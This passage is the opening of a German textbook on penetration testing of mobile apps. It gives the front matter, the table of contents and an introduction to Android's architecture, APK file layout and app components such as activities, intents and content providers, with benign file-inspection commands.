Mobile Hacking

Dr.-Ing. Michael Spreitzenbarth studierte Wirtschaftsinformatik
an der Universität Mannheim mit Schwerpunkt in
den Bereichen IT-Security und Digitale Forensik. Zwischen
2010 und 2013 arbeitete er als Doktorand an der Universität
Erlangen-Nürnberg. Seine Forschungsthemen lagen in
den Bereichen der forensischen Analyse von Smartphones
(speziell im Bereich Android) sowie im Bereich der Detektion
und automatisierten Analyse von mobilem Schadcode
(Malware). Seit April 2013 arbeitet er in einem weltweit operierenden
CERT, wo sein Fokus auf der Absicherung mobiler
Endgeräte, Incident Handling und der Analyse verdächtiger
mobiler Applikationen liegt. In seiner Freizeit arbeitet Michael
Spreitzenbarth immer noch im Bereich der Forschung
und Entwicklung von Malware-Analyse- und Detektionstechniken
sowie digitaler Forensik. Zusätzlich hält er regelmäßig
Vorträge und Schulungen zu diesen Themen in der
freien Wirtschaft sowie für öffentliche Auftraggeber.

Michael Spreitzenbarth
Mobile Hacking
Ein kompakter Einstieg ins
Penetration Testing mobiler Applikationen –
iOS, Android und Windows Mobile

Michael Spreitzenbarth
Lektorat: René Schönfeldt
Lektoratsassistenz: Stefanie Weidner
Projektkoordination: Miriam Metsch
Copy-Editing: Ursula Zimpfer
Satz: Da-TeX, www.da-tex.com
Herstellung: Susanne Bröckelmann
Umschlaggestaltung: Helmut Kraus, www.exclam.de
Druck und Bindung: M.P. Media-Print Informationstechnologie GmbH, 33100 Paderborn
Bibliografische Information der Deutschen Nationalbibliothek
Die Deutsche Nationalbibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie;
detaillierte bibliografische Daten sind im Internet über http://dnb.d-nb.de abrufbar.
ISBN:
Print 978-3-86490-348-9
PDF 978-3-96088-124-7
ePub 978-3-96088-125-4
mobi 978-3-96088-126-1
1. Auflage 2017
Copyright © 2017 dpunkt.verlag GmbH
Wieblinger Weg 17
69123 Heidelberg
Die vorliegende Publikation ist urheberrechtlich geschützt. Alle Rechte vorbehalten. Die Verwendung
der Texte und Abbildungen, auch auszugsweise, ist ohne die schriftliche Zustimmung des Verlags
urheberrechtswidrig und daher strafbar. Dies gilt insbesondere für die Vervielfältigung, Übersetzung
oder die Verwendung in elektronischen Systemen.
Es wird darauf hingewiesen, dass die im Buch verwendeten Soft- und Hardware-Bezeichnungen sowie
Markennamen und Produktbezeichnungen der jeweiligen Firmen im Allgemeinen warenzeichen-,
marken- oder patentrechtlichem Schutz unterliegen.
Alle Angaben und Programme in diesem Buch wurden mit größter Sorgfalt kontrolliert. Weder Autor
noch -Verlag können jedoch für Schäden haftbar gemacht werden, die in Zusammenhang mit der
Verwendung dieses Buches stehen.
5 4 3 2 1 0

v
Vorwort
Der Marktanteil von Smartphones und Tablets wächst signifikant im Gegensatz
zu herkömmlichen PCs und hält auch in immer mehr Unternehmen Einzug. Diese
Geräte haben einen enormen Funktionsumfang und werden schon lange nicht
mehr nur zum Telefonieren verwendet. Dies bietet jedoch nicht nur neue Möglichkeiten
für den Einzelnen sowie viele Firmen, sondern birgt auch ein hohes
Maß an Gefahren und Risiken in sich.
Wenn Sie sich schon immer gefragt haben, was die Applikationen auf Ihrem
Smartphone so alles im Hintergrund machen und ob die verarbeiteten Daten auch
wirklich sicher abgelegt und übertragen werden, dann ist dieses Buch genau das
Richtige für Sie!
Im Rahmen des Buches wird Ihnen anhand von ausführlichen Beispielen gezeigt,
warum es sinnvoll für Unternehmen – aber auch für Privatpersonen mit
einem Bewusstsein für das Schützenswerte – ist, nicht auf die Versprechen der
Hersteller mobiler Apps zu hören, sondern selbst zu prüfen, ob Applikationen
den eigenen Ansprüchen und Vorgaben entsprechen. Sie erfahren, welche Open-
Source-Tools es auf dem Markt gibt und wofür man sie einsetzen kann. Dabei
ist immer zu bedenken, dass dies nur eine Auswahl an Tools ist und keinesfalls
den Anspruch auf Vollständigkeit erheben soll. Nach der Analyse einiger Apps
hat jeder Analyst seine eigene Sammlung an Werkzeugen und Vorgehensweisen,
auf die er bei der täglichen Arbeit zurückgreift.
Dabei stehen unter anderem folgende Fragestellungen im Vordergrund:
■
■
■
■
Was sind die wichtigsten Komponenten der einzelnen mobilen Betriebssysteme?
Wie können Sie prüfen, ob Daten einer App auch bei Verlust bzw. Diebstahl
eines mobilen Endgerätes weiterhin geschützt sind?
Wie können Sie feststellen, ob Daten bei der Übertragung ausreichend geschützt
sind?
Welche Schwachstellen sind für Angreifer besonders interessant?
Dieses Buch kann man als Leser auf verschiedene Weisen angehen, die in Abbildung
1 aufgezeigt sind. Hierbei werden in den ersten beiden Kapiteln die Grundlagen
geschaffen, um einem Leser, der bisher keine Erfahrungen mit mobilen Be-

vi
Vorwort
triebssystemen oder dem Reversing gesammelt hat, den Einstieg zu ermöglichen.
Danach gibt es immer einen »Doppelpack« an Kapiteln, der sich mit der statischen
Analyse von Apps einer bestimmten Plattform befasst und sich der anschließenden
Suche nach Sicherheitsproblemen widmet. Dies alles wird wieder in
Kapitel 9 zusammengeführt, das die Analyse der Datenübertragung als Schwerpunkt
hat, die auf allen Systemen nahezu identisch abläuft und deshalb an dieser
Stelle auch übergreifend zusammengefasst ist. Den Schluss des Buches bildet ein
kurzes Kapitel, das dem Leser Hinweise zu Übungen gibt, die er nun selbst in Angriff
nehmen kann, und weitere Werkzeuge und vertiefenden Lesestoff vorschlägt.
Dr. Michael Spreitzenbarth
Android
Reversing
Android
App-Sicherheit
Einführung
Chancen und
Risiken des
Reversings
iOS
Reversing
iOS
App-Sicherheit
Angriffe auf die
Datenübertragung
Wie geht die
Reise weiter?
Win10Mobile
Reversing
Win10Mobile
App-Sicherheit
Abb. 1: Mögliche Wege für den Leser durch dieses Buch

vii
Danksagung
Dieses Buchprojekt wäre ohne die Unterstützung anderer nur schwer umsetzbar
gewesen. Aus diesem Grund möchte ich einigen dieser Personen auf diesem Wege
meinen Dank aussprechen.
Zuerst möchte ich Andreas Kurtz und Siegfried Rasthofer danken, die mir
sehr guten Input für dieses Buch gegeben und auf einige hilfreiche Tools und
Beispiele aufmerksam gemacht haben.
Ebenso möchte ich aber auch den vielen Autoren und Entwicklern aus der
Open-Source-Community danken, die zahllose Stunden in die Verbesserung und
Entwicklung neuer Werkzeuge gesteckt haben. Ohne diese Arbeit wären wir heute
nicht in der Lage, solche Assessments durchführen zu können.
Mein Dank geht ebenso an den dpunkt.verlag und die anonymen Reviewer
sowie an Marko Rogge, die mich gerade in der Schlussphase auf wichtige Verbesserungen
am Buch aufmerksam gemacht haben.
Besonderer Dank geht an meine Lebensgefährtin, die mich immer wieder
motiviert und unterstützt hat, auch wenn es Zeiten gab, in denen durch dieses
Buch und die tägliche Arbeit nahezu keine Freizeit mehr blieb.

ix
Inhaltsverzeichnis
1 Einführung in mobile Betriebssysteme und deren Applikationen . . . 1
1.1 Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.2 Apple iOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
1.3 Windows 10 Mobile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
1.4 Chancen und Risiken von mobilen Applikationen . . . . . . . . . . . . . . . . . . . . . . 24
1.5 OWASP Mobile Top 10 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
1.6 Eine Laborumgebung erstellen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
1.7 Zusammenfassung und Ausblick . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
2 Chancen und Risiken des Reversings . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
2.1 Statische Analyse (Reversing) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
2.2 Dynamische Analyse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
2.3 Vergleich der beiden Techniken . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
2.4 Schlussfolgerung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
3 Reversing von Android-Applikationen . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
3.1 Vorgehensweisen beim Reversing von Android-Applikationen . . . . . . . . . 43
3.2 Beschaffen der zu untersuchenden Applikation . . . . . . . . . . . . . . . . . . . . . . . 44
3.3 Analysieren des Android-Manifests und Entpacken der Applikation . . . . . 45
3.4 Werkzeuge zum Analysieren der Applikationen . . . . . . . . . . . . . . . . . . . . . . . . 47
3.5 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
4 Sicherheitsprobleme bei Android-Applikationen . . . . . . . . . . . . . . . . . 67
4.1 Wichtige Tools und Helfer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
4.2 Analyse der Zugriffe auf sensible Nutzerdaten . . . . . . . . . . . . . . . . . . . . . . . . . 76
4.3 Exportierte Activities erkennen und ausnutzen . . . . . . . . . . . . . . . . . . . . . . . . 83
4.4 Exportierte Content Provider und SQL-Injections erkennen und ausnutzen 86
4.5 Schwachstellen des JavascriptInterface erkennen und ausnutzen. . . . . . . 91
4.6 Ungewollten Datenabfluss durch Verwendung der Backup-Funktion erkennen
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
4.7 Spurensuche im Dateisystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
4.8 Android-Applikationen zur Laufzeit manipulieren . . . . . . . . . . . . . . . . . . . . . 110
4.9 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113

x
Inhaltsverzeichnis
5 Reversing von iOS-Applikationen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
5.1 Vorgehensweisen beim Reversing von iOS-Applikationen . . . . . . . . . . . . . . 115
5.2 Wichtige Tools und Helfer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
5.3 Beschaffen der zu untersuchenden Applikation . . . . . . . . . . . . . . . . . . . . . . . 124
5.4 Werkzeuge zum Analysieren der Applikationen . . . . . . . . . . . . . . . . . . . . . . . . 127
5.5 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135
6 Sicherheitsprobleme bei iOS-Applikationen. . . . . . . . . . . . . . . . . . . . . . 137
6.1 Wichtige Tools und Helfer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137
6.2 Analyse der Zugriffe auf sensible Nutzerdaten . . . . . . . . . . . . . . . . . . . . . . . . . 146
6.3 iOS-Applikationen zur Laufzeit manipulieren . . . . . . . . . . . . . . . . . . . . . . . . . . 149
6.4 Spurensuche im Dateisystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 159
6.5 Fehlende systemeigene Sicherheitsfunktionen in iOS-Applikationen erkennen
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171
6.6 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178
7 Reversing von Windows-10-Mobile-Applikationen . . . . . . . . . . . . . . . . 179
7.1 Aufbau der Windows-10-Mobile-Applikationen . . . . . . . . . . . . . . . . . . . . . . . 179
7.2 Vorgehensweisen beim Reversing von Windows-10-Mobile-
Applikationen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182
7.3 Werkzeuge zum Analysieren der Applikationen . . . . . . . . . . . . . . . . . . . . . . . . 183
7.4 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186
8 Sicherheitsprobleme bei Windows-10-Mobile-Applikationen . . . . . . 187
8.1 Analyse der Zugriffe auf sensible Nutzerdaten . . . . . . . . . . . . . . . . . . . . . . . . . 187
8.2 Spurensuche im Dateisystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189
8.3 Fehlende Sicherheitsfunktionen in Windows-10-Mobile-Applikationen
erkennen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 193
8.4 Weitere Angriffsvektoren erkennen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 196
8.5 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 197
9 Angriffe auf die Datenübertragung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 199
9.1 Schutz der übermittelten Daten auf dem Transportweg . . . . . . . . . . . . . . . . 199
9.2 Man-in-the-Middle-Angriffe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 200
9.3 SSL-Strip-Angriffe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 209
9.4 Anwendungsbeispiele und Auswertung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 210
9.5 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 213
10 Wie geht die Reise weiter? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
10.1 Weitere Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
10.2 Wo kann ich üben? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217
10.3 Wo finde ich weiterführende Informationen? . . . . . . . . . . . . . . . . . . . . . . . . . . 218

Inhaltsverzeichnis
xi
Literaturverzeichnis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221

1
1 Einführung in mobile Betriebssysteme
und deren Applikationen
Smartphones und Tablet-PCs sind aus dem täglichen Leben von Privatpersonen
ebenso wenig wegzudenken wie aus dem Alltag in Unternehmen. Diese Geräte
dienen längst nicht mehr nur dem Zweck der Kommunikation, wie es mit dem
Telefon vor einigen Jahren noch der Fall war. Sie werden inzwischen vielmehr
dazu benutzt, Zugriff auf sensible Firmen- oder Privatnetze (z. B. per VPN) zu
erhalten oder teilweise sehr sensible Daten (wie z. B. Bilder und Angebote) zu
verarbeiten.
Betrachtet man die Entwicklung der letzten Jahre, so sieht man, dass diese
Geräte immer mehr Fähigkeiten erhalten und in immer mehr Szenarien eine Rolle
spielen. Steuerung der kompletten Hauselektronik, Zugangskontrolle zu hochgesicherten
Bereichen, Katastrophenfrühwarnung und der Ersatz des Notebooks in
Unternehmen sind nur einige Beispiele, in denen diese Geräte und die darauf installierten
Applikationen (oder kurz Apps) in Zukunft eine wichtige Rolle spielen
werden.
Will man für solch kritische Szenarien ein mobiles Endgerät einsetzen, so
landet man nach der initialen Betrachtung der Hardware immer wieder an dem
folgenden Punkt: Wie sicher ist eigentlich die Applikation selbst?
Um diese Frage zu beantworten, gibt es eigentlich nur zwei mögliche Lösungsansätze:
entweder Vertrauen in die Marketingfolien und -versprechen der
Hersteller solcher Lösungen oder das Durchführen eigener Tests, um sicherzustellen,
dass die ausgesuchte Lösung auch das leistet, was sie verspricht. Einen
solchen Test nennt man Penetrationstest (oder kurz Pentest).
Betrachtet man die Schlagzeilen einschlägiger Magazine oder Webseiten (und
ebenfalls die Beispiele, die in diesem Buch erwähnt werden), so sieht man sehr
schnell, dass die erste Option (blindes Vertrauen in die Marketingversprechen)
oft der falsche Ansatz ist, wenn man erwägt, sensible Daten mit einer Applikation
zu verwalten oder zu verarbeiten. Aus diesem Grund werden im Rahmen
dieses Buches Wege gezeigt, wie man selbst Applikationen überprüfen und deren
Schwächen ans Tageslicht bringen kann.
Wir betrachten dazu ausführlich die Systeme Android und iOS, zeigen aber
auch erste Einstiegspunkte in Windows Phone, da dieses System in vielen Einsatzszenarien
eine immer wichtiger werdende Rolle spielt. Beginnen möchten wir

2 1 Einführung in mobile Betriebssysteme und deren Applikationen
in diesem Kapitel mit der allgemeinen Einführung in die Systeme und den Aufbau
ihrer Applikationen. Außerdem wird das Einrichten der Laborumgebung beschrieben,
in der sich die später gezeigten Analysen durchführen lassen.
1.1 Android
Das Android OS, das ursprünglich für die Verwendung auf Smartphones und
Tablet-PCs entwickelt wurde, findet in letzter Zeit auch immer mehr Verwendung
auf Set-Top-Boxen, TVs oder als Car-Entertainment-System. Die Basis des
Betriebssystems wird von der Open Handset Alliance unter der Führung von
Google entwickelt und ist vollständig Open Source, lediglich die Anpassungen
von Google (eigene Apps wie z. B. Google Maps und zugehörige Bibliotheken)
sind nicht in ihrem Quellcode verfügbar. Die Komponenten, die das System ausmachen
und auch im weiteren Verlauf des Buches von Interesse sind, werden in
den folgenden Abschnitten genauer beleuchtet.
1.1.1 Die Entwicklung der Android-Plattform
Zu Beginn der Einführung in die Android-Plattform wird die bisherige Entwicklung
der verschiedenen Android-Versionen aufgezeigt. Die gesamte zeitliche Entwicklung
der Plattform, speziell deren Hauptversionen, ist in Tabelle 1–1 zusammen
mit ihren Versionsnummern, Codenamen und Erscheinungsdaten dargestellt.
Seit der Version 1.5 haben die Hauptversionen immer den Namen von
populären US-Süßigkeiten. Dies hat sich erst durch die Kooperation mit Nestlé
in Version 4.4 und dem Codenamen KitKat geändert, Google blieb zwar bei den
Süßigkeiten, wechselte jedoch auf den europäischen Markt.
1.1.2 Die Architektur des Betriebssystems
Die Android-Architektur kann in vier verschiedene Schichten unterteilt werden:
Basis der Architektur ist der Linux-Kernel, darüber liegt eine kombinierte Schicht
aus Systembibliotheken und der eigentlichen Android-Laufzeitumgebung, dann
folgt das Applikationsframework und als oberste Ebene die eigentlichen Applikationen
(siehe Abbildung 1–1). Jede dieser vier Schichten stellt spezielle Interfaces
und Systemressourcen für die darüberliegende Schicht zur Verfügung, sodass eine
Interaktion zwischen den einzelnen Schichten ermöglicht wird.
Der Linux-Kernel
Wie auf der Abbildung 1–1 zu erkennen ist, bildet der Linux-Kernel in Version
2.6.x die Basis des Android-Systems. Dieser wurde um spezielle Module erweitert,
um die Hardware der Android-Geräte zu unterstützen. Zusätzlich dazu
wird der Kernel für die Verwaltung der laufenden Prozesse sowie des Speichers

1.1 Android 3
Version Codename API Veröffentlichung Verwendung
1.0 Base 1 09/2008 s
1.5 Cupcake 3 04/2009 s
1.6 Donut 4 09/2009 s
2.0 Eclair 5 & 6 10/2009 s
2.1 Eclair 7 01/2010 s
2.2 Froyo 8 05/2010 s
2.3 Gingerbread 9 & 10 12/2010 s
3.0 Honeycomb 11–13 02/2011 t
4.0 Ice Cream Sandwich 14 & 15 10/2011 s,t
4.1 Jelly Bean 16 06/2012 s,t
4.2 Jelly Bean 17 11/2012 s,t
4.3 Jelly Bean 18 07/2013 s,t
4.4 KitKat 19 & 20 10/2013 s,t
5.0 Lollipop 21 10/2014 s,t
5.1 Lollipop 22 03/2015 s,t
6.0 Marshmallow 23 10/2015 s,t
Tab. 1–1: Liste der Android-OS-Versionen und deren Erscheinungsdatum seit der ersten offiziellen
Veröffentlichung in 2008 (s = Smartphone, t = Tablet-PC)
verwendet und stellt einige der Sicherheitsmechanismen bereit, die in Android
implementiert sind.
Prozesse mit ihrem zugehörigen Identifier (PID) sind eines der wichtigsten
Konzepte des Linux-Kernels. Neben dieser PID speichert der Kernel weitere wichtige
Informationen über laufende Prozesse – wie z. B. den Prozessstatus, den
Thread, in dem der Prozess läuft, und Angaben darüber, welche Dateien verwendet
werden (eine vollständige Liste stellt der Linux-Quellcode [10] bereit). Diese
Daten werden in einer gesonderten Struktur – task_struct – abgelegt. Die PID ist
im weiteren Zusammenhang sehr wichtig, da mit ihrer Hilfe während der dynamischen
Analyse die Operationen den entsprechenden Applikationen zugeordnet
werden können (mehr dazu in Abschnitt 4.2.1).
Systembibliotheken und Laufzeitumgebung
In der darüberliegenden Schicht befinden sich sie Systembibliotheken und die eigentliche
Android-Laufzeitumgebung. Diese Bibliotheken sind in C bzw. C++ geschrieben
und werden sowohl vom System selbst als auch von allen installierten

4 1 Einführung in mobile Betriebssysteme und deren Applikationen
Google
Apps
Applications
Third-Party
Apps
Package
Manager
Telephony
Manager
Manager
Application Framework
Content
Providers
Location
Manager
View
System
Webkit
SSL
Media
Framework
Core
Libraries
Libraries
Android Runtime
OpenGL
libc
SQLite
DVM
Drivers
Linux Kernel
Power
Management
Abb. 1–1: Übersicht über die Architektur des Android-Betriebssystems
Apps verwendet. Die Android-Laufzeitumgebung enthält die Dalvik Virtual Machine
(DVM) sowie die wichtigsten Java-Bibliotheken. Die DVM- und die Java-
Bibliotheken wurden speziell an die Vorgaben eines mobilen Betriebssystems –
geringer Stromverbrauch und geringe Rechenleistung – angepasst.
Applikationsframework
Die nächste Ebene ist das sogenannte Applikationsframework, das die Application
Programming Interfaces (API) bereitstellt. Diese Ebene ist eine Art Übersetzungsschicht:
Sie stellt eine hohe Anzahl an geräteabhängigen Schnittstellen zur
Verfügung, die es einem Entwickler erlauben, auf alle Features des Endgerätes
zuzugreifen, ohne dass er hierfür tiefere Kenntnisse der einzelnen Komponenten
benötigt.
Die Applikationen selbst
Darüber liegen schließlich die eigentlichen Applikationen. Jede dieser installierten
Applikationen ist zum großen Teil in Java geschrieben (mit optionalen eigenen Bibliotheken)
und wird zur Laufzeit in einer eigenen DVM ausgeführt. Aktuell gibt
es im offiziellen Google Play Store knapp über 1,6 Millionen dieser Applikationen
(Apps) [16].

1.1 Android 5
Android-Applikationen unterstützen auch die Verwendung von nativen Bibliotheken,
die in C/C++ geschrieben sind. Sobald man jedoch die Applikation
zur Verwendung auf einem Endgerät oder dem Emulator bauen lässt (z. B.
durch Eclipse oder Android Studio), wird aus dem Java-Code ein in der DVM
ausführbarer Bytecode, der in einer dex-Datei gespeichert wird. Dieser Bytecode
unterscheidet sich an vielen Stellen von herkömmlichem Java-Bytecode, was
sich dadurch auch auf die Analyse auswirkt. Zum Wichtigsten einer Android-
Applikation gehört das Android-Manifest, das alle vom Nutzer abgefragten Berechtigungen
sowie die zur Laufzeit nötigen Intents, Listener und Receiver enthält
(mehr zu diesen Begriffen später in diesem Abschnitt). Das Android-Manifest
wird zusammen mit dem DVM-Bytecode, den externen Bibliotheken und allen
anderen Ressourcen, die für die Applikation benötigt werden, in eine Art ZIPbzw.
JAR-Paket zusammengeschnürt. Dieses Paket hat die Dateiendung .apk und
wird vom Play Store (oder jeder anderen Installationsquelle) auf das Endgerät
kopiert und dort installiert.
Im Allgemeinen besteht eine so paketierte Android-Applikation aus den folgenden
Dateien und Verzeichnissen:
■
■
■
■
■
■
META-INF: Verzeichnis mit folgenden Dateien:
■
■
■
MANIFEST.MF: das Manifest in kompilierter Form
CERT.RSA: das Zertifikat, mit dem die Applikation signiert wurde
CERT.SF: eine Liste aller Ressourcen und das SHA-1-Digest
lib: Verzeichnis mit speziell für einen bestimmten Prozessor kompiliertem
Code
■
■
■
■
armeabi: kompilierter ARM-Code
armeabi-v7a: kompilierter ARMv7-Code
x86: kompilierter x86-Code
mips: kompilierter MIPS-Code
resources.arsc: eine Datei mit vorkompilierten Bibliotheken
res: Verzeichnis mit Bibliotheken, die nicht in resources.arsc kompiliert wurden
AndroidManifest.xml: ein weiteres Manifest mit wichtigen Metainformationen
für die Applikation in codierter Form
classes.dex: der kompilierte Java-Code der Applikation
Nachfolgend ein Beispiel einer realen Applikation, wie sie aus dem Play Store
geladen wurde:

6 1 Einführung in mobile Betriebssysteme und deren Applikationen
$: file DEMO.apk
DEMO.apk: Java Jar file data (zip)
Codebeispiel 1–1: Ausgabe des file-Befehls auf eine Android-Applikation zum Bestimmen
des Dateityps
// die ersten 4 Byte sind bei jeder Android-Applikation 50 4b 03 04
$: hexdump -C -n 64 DEMO.apk
00000000 504b03040a000008 000039584f410000 |PK........9XOA..|
00000010 0000000000000000 0000250005006173 |..........%...as|
00000020 736574732f436f6e 6669677572617469 |sets/Configurati|
00000030 6f6e732f66646173 666a6b616c616664 |ons/fdasfjkalafd|
Codebeispiel 1–2: Anzeige der ersten 64 Byte einer Android-Applikation in Hex
$: unzip -l DEMO . apk
Archive : DEMO . apk
Length Date Time Name
-- -- -- -- - -- - -- -
2632 05 -31 -14 11:54 res/layout / activity_line . xml
1820 05 -31 -14 11:54 res/layout / activity_main . xml
392 05 -31 -14 11:54 res / xml / device_admin_sample . xml
5068 05 -31 -14 11:54 AndroidManifest . xml
2760 05 -31 -14 11:54 resources . arsc
11566 05 -31 -14 11:47 res / drawable - hdpi / lineinfo_update . png
14068 05 -24 -14 19:21 res / drawable - hdpi / ic_launcher . png
718628 05 -31 -14 11:50 classes .dex
687 05 -31 -14 11:54 META -INF / MANIFEST .MF
740 05 -31 -14 11:54 META -INF / CERT .SF
1203 05 -31 -14 11:54 META - INF/CERT . RSA
-- -- -- -- -- -
759564 11 files
Codebeispiel 1–3: Auflistung der Inhalte einer Android-Applikation
Bestandteile einer Android-Applikation
Wie bereits kurz erwähnt, gibt es mehrere essenzielle Bestandteile einer Android-
Applikation. Neben dem gerade erwähnten Android-Manifest und den externen

1.1 Android 7
Bibliotheken gibt es auch im eigentlichen Code der Applikation wichtige Bestandteile,
die bei der Funktion, aber auch bei der Analyse eine wesentliche Rolle spielen.
Hierzu gehören: Activities, Services, Broadcast Receiver, Shared Preferences,
Intents und Content Provider. Da diese Komponenten im Folgenden sehr wichtig
sind, werden sie an dieser Stelle ausführlicher beschrieben:
Android-Manifest: Jede Android-Applikation besitzt eine besondere Datei, die
allgemeine Informationen über die Applikation beinhaltet, wie z. B. den Namen,
die SDK-Version, die eigene Versionsnummer, angeforderte Berechtigungen
sowie Hard- und Softwareanforderungen. Diese Datei heißt Android-
Manifest.xml oder kurz Android-Manifest. Die codierten Informationen innerhalb
dieser Datei werden während der Installation vom System ausgewertet,
um so dem Nutzer die Berechtigungen anzuzeigen, die er akzeptieren
muss, bevor die Applikation erfolgreich installiert werden kann. Des Weiteren
sind in ihr auch sämtliche Activities enthalten, die als Einstiegspunkte
in die Applikation dienen können. Die »MAIN«-Activity wird dabei als Einstiegspunkt
verwendet, sobald ein Nutzer die App über den Launcher oder
den Homescreen startet. Zusätzlich kann man im Android-Manifest erkennen,
ob die Applikation auf externe Events wartet, um besondere Aktionen
auszuführen (z. B. sobald eine SMS mit einem speziellen Text auf dem Gerät
eintrifft, startet die Applikation und zeigt dem Nutzer eine Pop-up-Nachricht
an). Wegen dieser Eigenschaften ist das Android-Manifest einer des besten
Startpunkte für eine manuelle Analyse einer verdächtigen Applikation.
Activities: Activities stellen eine interaktive grafische Benutzeroberfläche bereit,
indem sie Daten und Informationen der Applikation auf dem Display darstellen
und Touch-Events des Nutzers an die Applikation zur Verarbeitung
weitergeben. Jede dieser Activities muss im Android-Manifest deklariert werden,
andernfalls ist eine Ausführung nicht möglich. Wechselt eine Activity
in den Hintergrund, z. B. durch das Öffnen einer anderen Applikation, pausiert
die Activity und alle Daten, die nicht als persistent deklariert wurden,
werden gelöscht. Befindet sich eine Activity in diesem Modus, so kann das
Android-System diese löschen, um Ressourcen freizugeben.
Intents: Intents sind ein spezieller Datentyp der Android-Architektur. Sie werden
zur Kommunikation zwischen Komponenten einer Applikation oder zwischen
Komponenten unterschiedlicher Applikationen verwendet. Jeder Intent
besitzt zwei Attribute – Data und Action – und zusätzlich drei optionale Attribute
– Types, Categories und Extras. Die Aktion beschreibt, was die Applikation
mit den erhaltenen Daten macht. Das optionale Attribut Type ist
nur nötig, falls die übermittelten Daten nicht in der URI-Syntax (Uniform
Resource Identifier) vorliegen. In diesem Fall beschreibt der Type den MIME-
Type der übermittelten Daten. Extras werden dann verwendet, wenn die zu
übermittelten Daten nicht in das eigentliche Datenfeld passen. Das Attribut
Category kann verwendet werden, um die Aktion genauer zu beschreiben.

8 1 Einführung in mobile Betriebssysteme und deren Applikationen
Intents können in zwei Arten aufgeteilt werden: implizit und explizit. Explizite
Intents haben einen spezifischen Receiver, der im Intent selbst definiert ist
und meist in unterschiedlichen Komponenten einer Applikation verwendet
wird. Im Gegensatz dazu werden implizite Intents an den Paketmanager des
Android-Systems weitergegeben, das dann die passende Applikation sucht,
die den passenden Broadcast Receiver definiert hat.
Broadcast Receivers: Android-Applikationen können eigene Activities als sogenannte
Broadcast Receiver beim System registrieren. Dies hat zur Folge,
dass – wenn eine andere Applikation oder das System selbst einen impliziten
Intent via Broadcast-Nachricht versendet – der zugehörige Broadcast Receiver
benachrichtigt wird und die damit verlinkte Activity gestartet wird.
Content Provider: Dieser Datentyp wird verwendet, um persistente Daten für andere
Applikationen zugänglich zu machen. Content Provider sind der einzige
Weg, Daten zwischen Applikationen auszutauschen, da es im System keinerlei
Speicherbereich gibt, der von allen Applikationen gemeinsam benutzt werden
kann. Applikationen verwenden SQL und relationale Datenbankschnittstellen,
um die bereitgestellten Daten zu verarbeiten.
Services: Services sind Komponenten, die im Hintergrund und ohne Nutzerinterface
ausgeführt werden und ebenfalls im Android-Manifest deklariert sowie
dem Service Manager mitgeteilt sein müssen. Bei der Definition dieser Services
kann auch festgehalten werden, wie die Applikationen bzw. die Komponenten
der eigenen Applikation mit dem Service kommunizieren dürfen. Services
